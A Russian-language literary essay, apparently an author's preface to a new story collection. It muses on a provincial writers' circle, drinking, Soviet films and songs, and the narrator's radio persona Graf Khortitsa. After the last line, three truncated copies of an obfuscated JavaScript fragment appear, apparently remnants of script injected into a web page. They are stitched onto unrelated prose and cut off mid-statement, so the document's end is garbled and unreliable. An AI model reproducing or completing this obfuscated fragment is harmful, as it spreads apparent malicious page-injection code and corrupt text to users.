Праздник жизни начинает казаться праздником, только если вам хватило смелости сделать несколько шагов в сторону от накрытых столов, от ликующей толпы, да и от самой «жизни».
Но тогда культурная программа этого мероприятия становится похожа на бесконечный финал «Тихорецкого концерта», где Аркадий Северный прощается с приютившей его станицей нетрезвым языком под монотонную мелодию Джо Дассена вместо ожидаемой песни на бис.
А тем временем «на неприметной улице, в городке, где не происходит ничего существенного, колесо фортуны готовится совершить необычный поворот».
По идее вот-вот должна появиться вторая книга моих рассказов, и автору, не избалованному публикациями, едва ли не впервые хочется поговорить о себе, хотя в его образе и нет ничего нового.
Огромный, худой, зиму и лето не снимавший позеленевшей чуйки и теплого картуза, большелицый, бритый и косоротый, Балашкин бывал почти страшен своими злыми речами, своим глубоким стариковским басом, колючей серебристой щетиной на серых щеках и зеленым левым глазом, выпученным, сверкавшим и косившим в ту сторону, куда был скошен и рот его.
Если западный talent scout занят поиском перспективных дарований, то мне скорей импонировала функция «следопыта» бесперспективной (в глазах общества) бездарности, всего того, что «никуда не пойдет».
Сам-то я стихами и прозой только баловался, отдавая большую часть времени и сил поиску грандиозного и неповторимого там, где ими теоретически и не пахло – открывая великое в малом.
Я был чудовищно слеп ко всей официальной природе, а ко всему, что способно приносить полноценные плоды, равнодушен, разыгрывая роль «балашкина» в морально и психически неустойчивом литобъединении уездных любителей-«мовистов».
В прошлый раз мною был описан один из них – гимназист с физиономией Мастрояни и мимикой бурковского Губошлепа. Победу одерживал всегда Губошлеп, пожирая Егора Прокудина, как стивенсоновский Мистер Хайд.
И я все чаще ловил на себе глумливые взоры моих подопечных.
Чтобы доказать себе самому хоть какую-то профпригодность, я взялся было за перевод «Цветов зла», купленных мною « с пола» у пропойцы на рыночной улице имени чекиста Анголенко:
«Париж меняется, но стынут без движенья лебедок сухожилия, лесов строительных бескровные штыри, районы старые в моем распоряженьи с многоголосицею мертвых голосов, и пустыри… я думаю о вас, сестрица Андромаха, с бокалом джина, голой на столе, пастух наш Родя – рыжая папаха…» Стоп! Полная лажа. А фраза про джин, бокал и стол вообще-то из песенки раннего Рода Стюарта.
Я забросил языки и больше ничего не переводил, растравляя душу статьями Толстого и сатирами Шукшина. Впереди было сто с лишним дорог и самые безнадежные выводы в конце каждой из них.
Провинциальный ars morendi немыслим без алкоголя, который, кстати, при всей бесперспективности бытового пьянства, иногда все же помогает сохранить оседлость, удерживая от необдуманных скитаний и плебейских переездов.
Допустим, что для кого-то где-то и в самом деле «будут встречи, будут новые друзья», но куда комфортнее чокаться с тем же Стюартом на обложке сборника «Спой их еще раз, Род!», не выходя из дома, нежели чокнуться в толпе большого города, который на самом деле ни что иное, как свалка из дюжины маленьких городов.
Поэтому когда один старый диссидент в очередной раз посоветовал: «Перебирайтесь, Гарик, и обрастайте друзьями», мне представился опутанный змеями Лаокоон. С нас хватит и одного Зеленого.
Среди моих «особенных» литераторов у меня и не было друзей в полном смысле слова, однако я искренне любил и пестовал их идиотизм в себе, а отнюдь не себя на фоне беззащитных идиотиков. Слишком по-разному каждый из нас понимал поговорку «руби дерево по себе».
Мое запоздалое перевоплощение осуществилось строго по классической формуле – в начале девяностых Балашкин скончался, и его место занял Граф Хортица.
Разумеется, я прекрасно знал цену своего обаяния, не представлявшего никакой ценности для моих бывших семинаристов и кружковцев, занятых поиском выпивки или денег на выпивку. Все, что звучало в эфире, они слышали от меня сто лет назад, в годы загубленной, как это всегда кажется тем, кого не разыскивает инюрколлегия, юности.
Несмотря на скудость ассортимента и репертуара, мы порою всю жизнь не можем отвязаться от дешевой (потому что не мы за ней охотились, а она сама привязалась) мелодии, сводящей с ума или в могилу.
Причем «мелодией» может служить не только эстрадный шлягер или шуточная песня-гротеск, которыми так богата брежневская эра: «Бриллиантовая рука», «Бумбараш» и т.п., но и дефект речи главы государства, даже интонация оратора, которому не хватает смелости копировать этот дефект с трибуны.
И лояльный гражданин, и отщепенец тех лет непременно кого-нибудь изображал или передразнивал.
«Пейте, может быть тогда я покажусь вам привлекательней», - советует Ингрид Бергман стареющий потаскун-неудачник Харви Гринфилд в виртуозной комедии «Цветок кактуса», как всегда виртуозно дублированной советскими актерами. Совет этот по-прежнему актуален и его охотно придерживаются многие слушатели теперь уже архивных (fugit irreparabile tempus) записей радио-шоу Графа Хортицы.
Пьяненькое умиление вождями и ВИА считалось нормой, а подчас и необходимостью. То, что трезвому труженику с кучею дел на повестке дня только мешает строить и жить, делает счастливым человека расслабленного, с ограниченными возможностями.
Так главные герои толстовских рассказов «Дьявол» и «Крейцерова соната», выступая под градусом, умудряются придать своим неаппетитным действиям гипнотическое очарование «нуара».
«Нуар» слово почти румынское. Румынский язык, конечно, на любителя, да и самих румын здесь почему-то недолюбливали, несмотря на превосходный кинематограф. Но если русскую версию песни молдавского коллектива назвать «О чем плачут гитары», она покажется родной, наряду с имевшим вполне красноречивый смысл понятием «Бухарест».
Существует некая академическая наглость, которую, по меткому выражению русского мыслителя, всю жизнь игравшего циников и алкашей, можно определить как «нахальство Ануя». Но есть и дерзость неотесанного воображения, нестесненного бракетками заверенных фактов и точных габаритов. Циничный оскал невыправленных зубов вампира-нонконформиста.
Неисправность в телевизоре или магнитофоне помогала создавать психоделический эффект для тех, у кого не было не то что ЛСД, но и возможности расплатиться с телемастером.
«Печки-лавочки» тоже психоделический фильм, и железнодорожный вор прежде чем кануть в неизвестность, сообщает крестьянской чете несколько примитивных, но фантастических вещей, которые те наверняка слышат впервые в жизни.
И выход книги кажется мне такою же примитивной фантастикой для тех, кто добровольно готов отстать от парохода современности.
Названия двух (не самых популярных, скорей одиозных) песенок Адамо на советском миньоне читались одной строкой: «Маленькое счастье разрешите месье».
Когда-то маленьким счастьем для меня было обнаружить в мемуарах эмигранта всего три строчки забытого графомана:
«Я стихи писать умею,
И очень я уверен в том,
что вскорах мой выйдет том…»
Вскорах и мой выйдет том.
И еще раз о Толстом словами гениального Губощлепа:
«Его мысли носят на себе печать незаконченности и недоговоренности. Писал некрасиво, но волнительно и интересно».
Знания, полученные через кого-то, притягивают только обманутых вкладчиков. С помощью присвоенных экстерном премудростей мы способны приманивать исключительно недоразвитых, пока они не переросли болезнь роста.
Шпион во дворце культуры, перебежав в соседнюю республику, становится воспитателем в приюте для умственно отсталых, где никого не волнуют похищенные им секреты.
Потому что и сам он, играя в авантюриста, успел отстать от поезда, чей конечный пункт станция «Зрелость».
Ибо «нахальство Ануя» и дерзость Губошлепа приходят с годами.
Балашкин умер – да здравствует Балашкин.
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
